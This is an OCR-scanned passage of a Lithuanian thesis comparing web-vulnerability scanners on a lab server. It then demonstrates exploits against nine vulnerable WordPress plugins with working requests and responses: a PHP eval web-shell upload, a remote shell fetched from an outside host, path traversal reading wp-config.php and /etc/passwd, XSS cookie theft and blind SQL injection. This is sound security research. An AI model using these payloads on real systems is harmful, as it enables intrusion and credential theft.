/mutillidae/index php finished 23 6 23:00:56 16 Jan 2017  23:02:08 *
/mutillidae/index php 57% complete 416 13 23:00:57 16 Jan 2017
/mutillidae/index php 69% complete 436 12 23:00:58 16 Jan 2017
/mutillidae/index php 75% complete 398 1" 23:00:59 16 Jan 2017
/mutillidae/index php 66% complete 415 1 23:00:59 16 Jan 2017
/mutillidae/index php 66% complete 429 1" 23:00:59 16 Jan 2017
/mutillidae/index php 50% complete 326 1" 23:01:37 16 Jan 2017
/mutillidae/index php 33% complete 212 1" 23:02:08 16 Jan 2017
/mutillidae/index php 11% complete 151 8 23:02:47 16 Jan 2017
/mutillidae/index php 10% complete 146 9 23:02:57 16 Jan 2017
/mutillidae/index php 8% complete 137 1" 23:03:32 16 Jan 2017
/mutillidae/index php waiting
/mutillidae/index php waiting

pav. 2.1 auditas atlieckamas Burp Suite programine jranga

2.1.2. Netsparker

Netsparker buvo jkurta 2006 metais Ferruh Mavituna. Jrankio kiir¢jo tikslas buvo sukurti jrankj,

kuris pateikty kaip jmanoma maziau netikry pranesimy.

Netsparker, Windows operacinés sistemos aplikacija, skirta web aplikacijy saugumo auditui. Sis

jrankis automatiskai mégina saugiu budu iSnaudoti pazeidZziamus, tokiu budu pateikdamas

pazeidziamumo jrodymus. To pasekoje galima lengviau identifikuoti pazeidziamuma, ir néra biitina

atskirai tikrinti, ar tas pazeidziamumas yra tikras, ar neteisingai identifikuotas [19].

Netsparker programiné jranga pilnai palaiko AJAX ir JavaScript paremtas svetaines, ir gali

audituoti bet kokio tipo web aplikacijg, nepriklausomai nuo jos strukttiros.
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Standartiné netsparker versija kainuoja 1950$ metams, pro versija — 59508. Interneto programos
audito metu, NetSparker jrankyje galima matyti tiek visg identifikuotg svetainés struktirg, tiek rastus

pazeidziamumus kiekvienoje jos dalyje (zZr. pav. 2.2)

~ @ kudemo80 ~
~ & mutillidae

javascript

dp Current Phase

ktu.demo

IMPORTANT (3) [

images
styles

[® indexphp

= Zpage

[ framerhtmi g 6 N
documentation BPOST ss Reqssting

@ homephp BPOST 4s Parsing (Text)

[® show-log.php =

[® captured-dataphp il php 4s Parsing (Text)

[ credits.php. BPOST php 4s Parsing (Text)

[® user-infophp Attacking (6)

B register.php GET  httpy/ktu.demo/mutillidae/index.php (Full Query St. 145 [11/23] Open Redirect.. [1/18] With HTTP - Raw Parsing (DOM.

1B e someariesblog phy GET  hitp://ktuemo/mutillidae/indexphp (Full Query St 15 [4/23] Cross-site Scrip..[28/47) Email input value bypa.. - Analyzing

[® add-to-your-blog php

3 site-footer-xss-discussior ool page T [1/231QL Inection (6211 NSFTW Eror Triggernt.. Anayzing

@ htmiS-storage php GET page s [4/23] Cross-site Scrip... [1/47] Generic Working Injecti..  Waiting for D.

@ capture-data.php GET page 15 [5/23] Command Injec... [3/14] (Linu) No Close Analyzing

[ dns-lookupphp INFORMATION (9) [ page 15 [6/23] Command Injec.. [1/10] Double Quotes (Linwx)  Analyzing

[ user-poll.php Passi

B set-background-color phits ElGET 35 sianatures Analvzing__ ¥

Crawiing & Attacking (2/3)...
—_— 2%

&
B Password Transmitted over HTTP.
P Out-of-date Version (Apache)
I Out-of-date Version (PHP)

Group Issues by

Vulnerability Type

1194 /9246
Scan Information
Current Speed:
Average Speed:
Total Requests:

Failed Requests:

255 req/sec
205 req/sec
2637

0

R Password Transmitted over Query String

P Out-of-date Version (Query) Severity
U [Possible] Source Code Disclosure (PHP)
¥ Autocomplete Enabled

¥ Cookie Not Marked as HttpOnly

¥ Version Disclosure (Apache) URL
5 Version Disclosure (PHP) v

Confirmation

LAEON E Encoder B Logs (7).

Crawl & Attack phase started. No vulnerability database updates found. = @¥ Proxy: System

pav. 2.2 auditas atliekamas Netsparker programine jranga
2.1.3. Arachni

Arachni, tai funkcionalus, modulinis web aplikacijos auditavimo jrankis parasytas naudojant
Ruby. [rankis nemokamas, bei galintis veikti Windows, OS X bei Linux platformose. Pats jrankio

iSkvietimo modulis yra tekstinio tipo (zr. pav. 2.3), taCiau pati ataskaita yra pateikiama html formoje.

i~/T E
Arachni - Web Application Security Scanner Framework v1.4
Author: Tasos "Zapotek" Laskos <tasos.laskos@arachni-scanner.com>

(With the support of the community and the Arachni Team.)

Website: http://arachni-scanner.com
Documentation: http://arachni-scanner.com/wiki

No checks were specified, loading all.
No element audit options were specified, will audit links, forms, cookies, UI inputs, UI forms, JSONs and XMLs.

Initializing.
Preparing plugins...

] ... done.
Scheduled 301 redirection: http://ktu.demo/mutillidae => http://ktu.demo/mutillidae/

[HTTP: 301] http://ktu.demo/mutillidae
Analysis resulted in © usable paths.
in path: Checking for: http://ktu.demo/mutillidae/<my tag f8355cc2285cf7e2020edf6495cfd455/>
in path: Checking for: http://ktu.demo/mutillidae/>"'><my tag f8355cc2285cf7e2020edf6495cfd455/>
in path: Checking for: http://ktu.demo/mutillidae/
in path: Checking for: http://ktu.demo/mutillidae/
in path: Checking for: http://ktu.demo/mutillidae/
in path: Checking for: http://ktu.demo/mutillidae/
XST: Checking...
Allowed methods: Checking...
Missing X-Frame-Options header: In server with action http://ktu.demo/mutillidae
Harvesting HTTP responses...
Depending on server responsiveness and network conditions this may take a while
XST: In server with action http://ktu.demo/mutillidae
XST: TRACE is enabled
Interesting responses: In server with action http://ktu.demo/mutillidae
Interesting responses: Found an interesting response -- Code:
localstart.asp: Checking: http://ktu.demo/mutillidae//localstart.asp
Interesting responses: In server with action http://ktu.demo/mutillidae/Arachni-f8355cc2285cf7e2020edf6495cfd455
Interesting responses: Found an interesting response -- Code: 405

[HTTP: 200] http://ktu.demo/mutillidae/
[operation_timedout] Timeout was reached

Identified as: linux, apache, php
Analysis resulted in 48 usable paths.

Remote File Inclusiol
Remote File Inclusion:

Auditing link input 'page' pointing to: 'http://ktu.demo/mutillidae/index.php'
Auditing link input 'page' pointing to: 'http://ktu.demo/mutillidae/index.php’

pav. 2.3 auditas atliekamas Arachni programine jranga
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2.1.4. W3af

W3af tai web aplikacijos audito karkasas. Projekto tikslas — padéti sustiprinti svetaing
iSsiaiSkinant jos silpnybes.

Tai iSsamus automatinis pazeidziamumy ieskojimo jrankis turintis beveik visy pagrindiniy
pazeidziamumy duombaze, taip pat papildus reikalingus atakai. Integruotas ,,spider* rézimas turi
papildoma tarpinio serverio autentifikacijos funkcija, kuri gali biiti panaudota uzkulsiuose esanciy
funkcijy auditui.

Neigiama jrankio dalis yra tai, jog jis pakankamai sudétingai valdomas vartotojui, kuris mazai
susidiires su saugumo sritimi [20]. Taip pat i$ pateikty atnaujinimy ir pacio diegimo proceso panasu,

jog irankis nebéra aktyviai atnaujinamas [21].
2.1.5. Vega

Vega, tai atviro kodo saityno programy auditavimo jrankis ir platforma leidzianti identifikuoti
svetainés silpngsias vietas. Naudojant §j jrankj (Zr. pav. 2.4) galima nesunkiai surasti SQL injekcijy,
XSS, per klaida paviesintg viding informacija ir kitus pazeidziamumus.

Irankis paraSytas naudojant Java, todél veikia Linux, OS X bei windows operacinése sistemose.
Kadangi moduliai parasyti naudojant JavaScript, galima nesudétingai pasiraSyti papildomus atakos

modulius naudojant Vega API.

Subgraph Vega e ® 0
File Scan Window Help
0= GSams] & 7o
& Website View @ ® & # = 0| Scaninfo = (m)

|v @ ktu.demo

@vEGA

| Scanner Progress

B

@ |

k E i o illidae/f html
al — 3 out of 38 scanned (7.9%)

© Scan Alerts o H e =0

© 01/17/2017 14:41:25 [Auditing] (76)

Scan Alert Summary

@ High (11 found)
Session Cookie Without Secure Flag
Session Cookie Without HttpOnly Flag
Cleartext Password over HTTP
Local File Include
Cross Site Scripting
SQL Injection
MySQL Error Detected - Possible SQL Injection

N WR N R e

© Medium (38 found)
HTTP Trace Support Detected il
Local Filesystem Paths Found
PHP Error Detected 35
v
1¢ Identities 52 3 -0
L % s Proxy is not running 359Mof 692M |

pav. 2.4 auditas atliekamas Vega programine jranga
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2.1.6. Acunetix

Acunetix dar vienas svetainiy auditavimo jrankis, leidziantis identifikuoti SQL Injekcijy, XXS,
XXE ir dar daug kity Zinomy saityno programy pazeidziamumy, Sis jrankis naudoja DeepScan
technologija pasiremdamas HTMLS narSymo varikliuku, pilnai imituodamas narsantj vartotoja, ir tuo
paciu analizuodamas narSyklés pusés JavaScript koda. DeepScan technologija leidzia aptikti
pazeidziamumus netgi puslapiuose, kuriuose yra intensyviai naudojama AJAX technologija.

Irankio standartiné versija kainuoja 2495 JAV doleriy metams.

Atlikus audita, programiné jranga pateikia tiek surasty pazeidziamumy santraukg (zr. pav. 2.5),

tiek detalius pazeidZziamumy apraSymus.

acunetix

pav. 2.5 auditas atliekamas Acunetix programine jranga
2.2. Testavimo objektas

Siekiant iSsiaisSkinti kiekvieno jrankio privalumus ir triikumus buvo pasirinkta jdiegti senesne
populiarios turinio valdymo sistemos WordPress versija kartu jdiegiant jskiepius, kurie buvo
automatizuotai iSnaudojami daugelyje svetainiy. Visa informacija apie pazeidziamumus ir jy
iSnaudojimus yra pasiekiama viesai.

Serverio jranga pasirinkta CentOS 7 su standartiniu saityno programy talpinimo paketu (angl.
Linux Apache MySQL PHP arba sutrumpintai LAMP):

Operaciné sistema: CentOS 7 64bit

Saityno programy servisas: Apache/2.4.6

Saityno kalbos interpretatorius: PHP 5.4.16 (cli) (built: Nov 6 2016 00:29:02)

Saityno duomeny bazé: MySQL Ver 15.1 Distrib 5.5.52-MariaDB, for Linux (x86_64) using readline
5.1.
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Serverio ugniasiené buvo testy metu iSjungta, taip pat buvo pakoreguoti nustatymai jtakojantys
greitaveika, tam, kad testy metu saityno programa visada bty pasiekiama. Visi kiti su saugumu susije
nustatymai buvo palikti tokie, kokie jdiegiami sistemoje pagal nutyl¢jima.

Saugumo prasme, populiaresnis produktas net ir turintis daugiau surasty pazeidziamumy tikétina
bus saugesnis nei maziau populiari, taciau neturinti pavieSinty pazeidziamumy programiné jranga.
Didesnis programinés jrangos populiarumas lemia tai, jog didesniu kruops§tumu yra perzitirimas visas
iSeities kodas, siekiant rasti kuo didesn;j kiekj pazeidziamumy. WordPress jskiepiy saugumo kokybés
tikrinimo metu, buvo pastebéta linijiné koreliacija tarp jskiepio populiarumo, jo vertinimo ir tarp rasty

pazeidziamumy iSeities kode statinés analizés biidu [8].
2.2.1. Pazeidziama web aplikacija

Serveryje buvo jdiegta turinio valdymo sistemos WordPress 4.3 versija. Si versija buvo isleista
2015 mety Rugpjtitj. Nuo Sios versijos iSleidimo datos, cvedetails.com svetainéje buvo uzregistruoti

34 pazeidziamumai turinio valdymo sistemos branduolyje.

2017-03-07 WordFress 4.2-47 2 - Press This CSRF DoS

2017-03-07 WordPress 4.0-4.7 2 - Authenticated Stored Cross-Site Scripting (XS5} =
2017-03-07 WordPress 2.8.1-4 .7 2 - Conirol Characters in Redirect URL Validation fixed in
2017-03-07 WordPress 3.6.0-4.7 2 - Authenticafed Cross-Site Scripting (X55) via Med fimed in ve

e Pl

2017-01-26 WardPress 4 3 0- 4 7.1 - Cross-5Site Scripfing (X535} in posis list table fied in version 4.3.8
2017-01-26 WordPress 35-4.7 1 -WP_Cuery SOL Injection fided in version 4.3 8
2017-01-26 WordPress 4 2 0- 4 7.1-Press This Ul Avallable to Unauthorised Users fixed in version 4.3 3
2017-01-12 WordPress 3.0-4.7 - Crvptographically Weak Pseudo-Random NMumber Generato... fed in version 4.3.7
2017-01-12 WordPress 2.8-4.7 - Accessihility Mode Cross-Site Request Fargery (CSRF) fimed inwersion 4.3.7

2017-01-12 WordPress == 4 7 - Post via Email Checks mail.e ’|n1r*lﬂ com by Default fiwed in version 4.3.7
2017-01-12 WordPress 3.4-4.7 - Stored Cross-Site Scripting (X55) via Theme Name fal fiwed in wersion 4.3.7
2017-11-12 WordPress 2 9-4 ‘ - Authenticated Cross-Site scripfing (XS5) in update-c.. fimed in version 4.3.7
2047-01-12 ¥ 3-4.7T - Potential Remote Command Execution (RCE) in PHPMailer fized in ve 7
2016-09-08 WordPress 2.8-4 6 - Path Traversal in Upgrade Package Uploader fided in version 4.3 6
2016-09-08 WordPress 2 5-4.6 - Authenticated Stored Cross-Site Scripting via Image |, fixed in uersion 4,26
2016-06-21 WordPress 2.6.0-4 .5 2 - Unautherized Caitegory Removal from Fost foeed ir R

b
5

2016-06-21 WordPress 3.6-4.5 .2 - Authenficated Revision History Information Disclosure
2016-06-21 WordPress 4 2-4 5 2 - Authenticated Aftachment Hame Stored XS5
2016-05-06 WordPress == 451 - Pupload Same Origin Method Execution (SOME) fixed in v 4.2
2016-05-06 WordPress 4 2-4.51 - MediaElement js Reflected Cross-Site Scripting (XS5 fined in version 4.5.2
2016-04-28 WardPress == 4 4 2 - Script Compression Opfion CSRF fiised in version 4.5
2016-04-28 WordPress == 4.4 2 - Reflected XS5 in Metwork Settings fided in version 4.5
2016-04-28 WordPress == 4 4 2 - S5RF Bypass using Cctal & Hexedecimal IF addresses fixed in version 4.5
2016-02-02 WordPress 3.7-4.4.1 - Open Redirect fved ir 43

20116-02-02 WordPress 3.7-4.4.1 - Local URIs Server Side Request Forgery (SSREF 4
2016-01-06 WordPress 3.7-4 4 - Authenticated Cross-5Sit e Scripiing (X55) g
2015-09-15 WordPress == 4.3 - Publish Post & Mark as S cl Pernushmn |ssue fiwed in ve

3- y
2015-09-15 ""-:|r|1Fn='-s ==4 73 - User List Table Cross-Site ..rurltlng (X5 fimed in ve
2015-08-15 WaordPress == 43 - Autheniicated Shorfcode Tags {.mss-SitE Scripling (X35) fited i

pav. 2.6 turinio valdymo sistemos pranesti pazeidziamumai'’
Taip pat j $ig turinio valdymo sistemg buvo sudiegti 9 jskiepiai su viesai zinomomis spragomis,

kurias gali iSnaudoti neautentifikuotas vartotojas.

' hitps://wpvulndb.com/wordpresses/43
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2.2.2. Paviesinti egzistuojantys paZeidZiamumai

WordPress tai tinklarascio sistemos branduolys turintis tik pagrindines funkcijas. Viena i§ Sios
turinio valdymo sistemos populiarumo priezasciy yra jos nesudétingas galimybiy iSplétimas naudojant
papildomus jskiepius. Siai turinio sistemai buvo parinkti 9 jskiepiai turintys paZeidziamumus, kurie
pasiekiami neautentifikuotam vartotojui:

e Reflex Gallery - vykdomojo kodo failo jkélimas

e Better search - jterptinio kodo pazeidziamumas

e WP Mobile Detector — vykdomojo kodo failo jkélimas

e CodeArt - Google MP3 Player — sisteminiy faily prasisiuntimas
e DB Backup — sisteminiy faily prasisiuntimas

e Wp Ds Faq - akla SQL injekcija

e 404 To 301 - jterptinio kodo pazeidziamumas

e Multi Plugin Installer - vykdomuyjy faily nuskaitymas

e WP-FileManager - vykdomuyjy faily nuskaitymas

2.2.2.1. Reflex Gallery

Idiegta pazeidziama jskiepio versija: 3.1.3

Iskiepio namy adresas: https.//wordpress.org/plugins/reflex-gallery

Pazeidziamumo tipas: Vykdomojo kodo failo jkélimas

Informacija apie pazeidziamuma: https.//www.exploit-db.com/exploits/36374/

PazeidZiamumo demonstracija:
http://wordpress.ktu.demo/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php
neautentifikuotam vartotojui leidzia jkelti | svetaing vykdomajj faila.

PazeidZziamuma galima i$naudoti sukiirus exploit.html failg su tokiu turiniu:

<form method="POST" action="http://wordpress.ktu.demo/wp-content/plugins/reflex-
gallery/admin/scripts/FileUploader/php.php?Year=2017&Month=03"
enctype="multipart/form-data" >

<input type="file" name="qqgfile"><br>

<input type="submit" name="Submit" value="Ikelti">
</form>

Sis HTML puslapis leis pazyméti failg, kurj norite jkelt, ir pakaks paspausti ,,Ikelti*.

I serverj siunc¢iama uzklausa su pasirinktu failu:

POST /wp-content/plugins/reflex-
gallery/admin/scripts/FileUploader/php.php?Year=2017&Month=03 HTTP/1.1
Host: wordpress.ktu.demo

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Cookie: wp-settings-time-1=1492602856
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Content-Type: multipart/form-data; boundary=—--------—-———---=-==——————-—————
285042972011666
Content-Length: 402

————————————————————————————— 285042972011666
Content-Disposition: form-data; name="ggfile"; filename="shell.php"
Content-Type: application/octet-stream

<?php if (isset($_POST["gwrvgs334sst"]))
{eval (stripslashes ($_POST["gwrvgs334sst"]));} ?>

————————————————————————————— 285042972011666
Content-Disposition: form-data; name="Submit"

Tkelti
————————————————————————————— 285042972011666--

IS serverio gautas atsakymas:

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 14:16:21 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

Content-Length: 53

Connection: close

Content-Type: text/html; charset=UTF-8

{"success":true,"fileName":"\/2017\/03\/shelld7.php"}

Ikeltas vykdomasis failas adresu: http://wordpress.ktu.demo/wp-content/uploads/2017/03/shell47.php

Paméginame patikrinti ar veikia komandy vykdymas i$siysdami uzklausg naujai jkeltam failui:

POST /wp-content/uploads/2017/03/shelld7.php HTTP/1.1

Host: wordpress.ktu.demo

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Content-Type: application/x-www-form-urlencoded

Content-Length: 24

gwrvgs334sst=system(id) ;

Gautas atsakymas i§ serverio:

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 14:22:46 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

Content-Length: 85

Content-Type: text/html; charset=UTF-8

uid=48 (apache) gid=48 (apache) groups=48 (apache)
context=system u:system r:httpd t:s0

2.2.2.2. Better search
Idiegta pazeidziama jskiepio versija: 1.3.4
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Iskiepio namy adresas: https.//wordpress.org/plugins/better-search

PazeidZziamumo tipas: jterptinio kodo pazeidziamumas

Informacija apie pazeidziamuma: https.//wpvulndb.com/vulnerabilities/7725

PazZeidZiamumo demonstracija:

Nuorodoje http://wordpress.ktu.demo pazeidziamas parametras ,,s*.

Tam, kad jsitikinti pazeidziamumu, pakanka aplankyti §ig nuoroda:
http://wordpress.ktu.demo/?s=%3Cscript%3Ealert(%22Cross-Site%20Scripting%22)

%3C/script%3E

Aplankius nuorodg narsykléje bus parodyta zinuté ,,Cross-Site Scripting® (Zr. pav. 2.7):

€ © wordpress.ktu.demo/7s= <script>alert{"Cross-Site Scripting"}</script> 90% X | @ =

Cross-Site Scripting

pav. 2.7 jterptinio kodo pazeidziamumo demonstracija

2.2.2.3. WP Mobile Detector

Idiegta pazeidziama jskiepio versija: 3.5

Iskiepio namy adresas: https.//wordpress.org/plugins/wp-mobile-detector

Pazeidziamumo tipas: Vykdomojo kodo failo jkélimas

Informacija apie pazeidziamuma: https://www.exploit-db.com/exploits/39891

PazeidZiamumo demonstracija:

Nuotraukos dydzio pakeitimo funkcionalumo kintamasis src esantis http://wordpress.ktu.demo/wp-
content/plugins/wp-mobile-detector/resize.php leidzia jkelti vykdomajj koda.

Kvie¢iame nuoroda:

http://wordpress.ktu.demo/wp-content/plugins/wp-mobile-detector/resize.php?src=http://
saukaitis.1lt:1337/shell.php

Sis pazeidziamas jskiepis norédamas pakeisti nuotraukos dydj, faila be jokiy tikrinimy tiesiog
parsiuncia j direktorijg: wp-content/plugins/wp-mobile-detector/cache/shell. php. Suprantama, jog pats
dydzio keitimo veiksmas nesuveiks, taciau pats failas bus parsiystas.

Patikriname ar tvarkingai veikia jkeltas komandas leidZiantis vykdyti failas:

POST /wp-content/plugins/wp-mobile-detector/cache/shell.php HTTP/1.1
Host: wordpress.ktu.demo

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
Firefox/52.0
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Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

gwrvgs334sst=system(id) ;

Gautas atsakymas i§ serverio:

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 14:22:46 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

Content-Length: 85

Content-Type: text/html; charset=UTF-8

uid=48 (apache) gid=48 (apache) groups=48 (apache)
context=system u:system r:httpd t:s0

2.2.2.4. CodeArt - Google MP3 Player

Idiegta pazeidziama jskiepio versija: 1.0.11

Iskiepio namy adresas: https.//wordpress.org/plugins/google-mp3-audio-player

Pazeidziamumo tipas: Sisteminiy faily parsisiuntimas

Informacija apie pazeidziamuma: https.//www.exploit-db.com/exploits/35460

PazeidZiamumo demonstracija:

Pazeidziamas wp-content/plugins/google-mp3-audio-player/direct download.php vykdomojo kodo
file parametras.

Taigi méginant perziiiréti nuoroda:

http://wordpress.ktu.demo/wp-content/plugins/google-mp3-audio-
player/direct download.php?file=../../../wp-config.php

Vartotojui yra atvaizduojamas wp-config.php iSeities kodas:

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 14:49:40 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

Content-disposition: attachment; filename=wp-config.php;
Content-Length: 3021

Content-Type: application/octet-stream

<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.wordpress.org/Editing wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
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* This file is used by the wp-config.php creation script during the

* installation. You don't have to use the web site, you can just copy this file

* to "wp-config.php" and fill in the values.

* @package WordPress

*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define ('DB_NAME', 'wordpress');

/** MySQL database username */
define ('DB_USER', 'wp_user');

/** MySQL database password */
define ('DB_PASSWORD', 'wp_pass');

/** MySQL hostname *
[...]

2.2.2.5. DB Backup

Idiegta pazeidziama jskiepio versija: 4.5

Iskiepio namy adresas: https://wordpress.org/plugins/wp-database-backup
PazeidZziamumo tipas: sisteminiy faily parsisiuntimas

Informacija apie pazeidziamuma: https://www.exploit-db.com/exploits/35378

PazZeidZiamumo demonstracija:

Iskiepis turi pazeidziama wp-content/plugins/db-backup/download.php failo file parametra.

Taigi apsilankius adresu:

http://wordpress.ktu.demo/wp-content/plugins/db-backup/download.php?file=/etc/passwd

Pateikiamas sisteminio passwd turinys.

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 14:55:23 GMT

Server: Apache/2.4.6 (CentOS) PHP/5.4.16

X-Powered-By: PHP/5.4.16

Content-Description: File Transfer

Content-Disposition: attachment; filename=passwd.passwd
Connection: close

Content-Type: application/octet-stream

Content-Length: 1119

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
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systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
tss:ix:59:59:Account used by the trousers package to sandbox the tcsd
daemon:/dev/null:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
apache:x:48:48:Apache: /usr/share/httpd:/sbin/nologin
mysqgl:x:27:27:MariaDB Server:/var/lib/mysqgl:/sbin/nologin

2.2.2.6. Wp Ds Faq

Idiegta pazeidziama jskiepio versija: 1.3.2

Iskiepio namy adresas: https.//wordpress.org/plugins/wp-ds-faq
Pazeidziamumo tipas: Akla SQL injekcija

Informacija apie pazeidziamuma: https://www.exploit-db.com/exploits/17683
PazZeidZiamumo demonstracija:

PazeidZziamas /wp-content/plugins/wp-ds-faq/ajax.php failo id parametras:

Serveriui siun¢iama uzklausa:

POST /wp-content/plugins/wp-ds-fag/ajax.php HTTP/1.1

Host: wordpress.ktu.demo

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Accept-Language: en-US,en;qg=0.5

Cookie: wp-settings-time-1=1492602856

Connection: close

Content-Length: 98

Content-Type: application/x-www-form-urlencoded

action=delete fagbook&id=-1 AND
1=IF(2>1,BENCHMARK (10000000,MD5 (CHAR(115,113,108,109,97,112))),0)

Aplikacija atsakyma grazino po 6,3 sekundés.

2.2.2.7. 404 To 301

Idiegta pazeidziama jskiepio versija: 2.3

Iskiepio namy adresas: https.//wordpress.org/plugins/404-to-301/developers

PazeidZziamumo tipas: jterptinio kodo pazeidziamumas

Informacija apie pazeidziamuma: https://wpvulndb.com/vulnerabilities/8611

PazZeidZiamumo demonstracija:

Sis jskiepis jrasingja visy neegzistuojan¢iy nuorody istorija, kad véliau galéty pateikti svetainés
administratoriui, tam kad jis véliau galéty juos perzitureti ir galbit jdéti nukreipimus.

Deja Sio jskiepio jraSomas kintamasis ,,p* néra filtruojamas, ir administratoriui pateikiamas koks yra.

Taigi vartotojui i$siuntus tokio tipo uzklausg:

GET /?p=777"><script>alert(document.cookie)</script> HTTP/1.1
Host: wordpress
Upgrade-Insecure-Requests: 1 |
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User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTIML, like Gecko)
Chrome/51.0.2704.103 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;g=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;qg=0.8

Connection: close

Si nuoroda issisaugoty j istorija. Administratorius sugalvojes patikrinti nar$yty puslapiy istorija gauty

zinute su slapuky informacija (zr. pav. 2.8):

(' ® wordpress.ktu.demo/wp-admin/admin.php?page=id4t3-logs 90% x - =

wp-settings-time-1=1492615566; wordpress_test_cookie=WP+Cookie+check; wp-settings-
A=libraryContent%3Dbrowse

pav. 2.8 administratoriui rodomas pranesimas

2.2.2.8. Multi Plugin Installer
Idiegta pazeidziama jskiepio versija: 1.1.0
Iskiepio namy adresas: Attps.//github.com/wp-plugins/multi-plugin-installer
PazeidZziamumo tipas: Vykdomuyjy faily nuskaitymas
Informacija apie pazeidziamuma:
http://cinu.pl/research/wp-plugins/mail 2461e0b03bcce05¢d091af609ce568b9. html
PazeidZiamumo demonstracija:
wp-content/plugins/multi-plugin-installer/mpi_download.php failo pazeidziami parametra filepath ir
filename.

Vartotojui iSsiuntus uzklausa:

http://wordpress.ktu.demo/wp-content/plugins/multi-plugin-
installer/mpi download.php?filepath=../../../&filename=wp-config.php

Bus parsiystas vykdomasis wp-config.php failo kodas:
32



HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 15:52:52 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Disposition: attachment; filename="wp-config.php"
Content-Transfer-Encoding: binary
Accept-Ranges: bytes

Cache-control: private

Pragma: private

Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 3021

Connection: close

Content-Type: text/plain; charset=UTF-8

<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://codex.wordpress.org/Editing wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the wvalues.
*
* @package WordPress
*/

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define ('DB_NAME', 'wordpress');

/** MySQL database username */
define ('DB_USER', 'wp_user');

/** MySQL database password */
define ('DB_PASSWORD', 'wp_pass');
[...]

2.2.2.9. WP-FileManager

Idiegta pazeidziama jskiepio versija: 1.3.0

Iskiepio namy adresas: http://wordpress.org/extend/plugins/wp-filemanager

Pazeidziamumo tipas: Vykdomuyjy faily nuskaitymas

Informacija apie pazeidziamuma: https.//www.exploit-db.com/exploits/25440

PazZeidZiamumo demonstracija:

Iskiepyje pazeidziami wp-content/plugins/wp-filemanager/incl/libfile.php vykdomojo failo path ir

filename parametrai.

http://wordpress.ktu.demo/wp-content/plugins/wp—
filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download

Serverio atsakyme grazinamas vykdomasis failas:

HTTP/1.1 200 OK

Date: Wed, 19 Apr 2017 16:01:33 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private

Pragma: no-cache

19-Apr-2017 17:01:33 GMT; path=/
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Content-Length: 3021

Content-Disposition: attachment; filename=wp-config.php
Connection: close

Content-Type: Unknown/Unknown

<?php

/*‘k

* The base configurations of the WordPress.

*
This file has the following configurations: MySQL settings, Table Prefix,
Secret Keys, WordPress Language, and ABSPATH. You can find more information
by visiting {@link http://codex.wordpress.org/Editing wp-config.php Editing
wp-config.php} Codex page. You can get the MySQL settings from your web host.

This file is used by the wp-config.php creation script during the
installation. You don't have to use the web site, you can just copy this file
to "wp-config.php" and fill in the values.

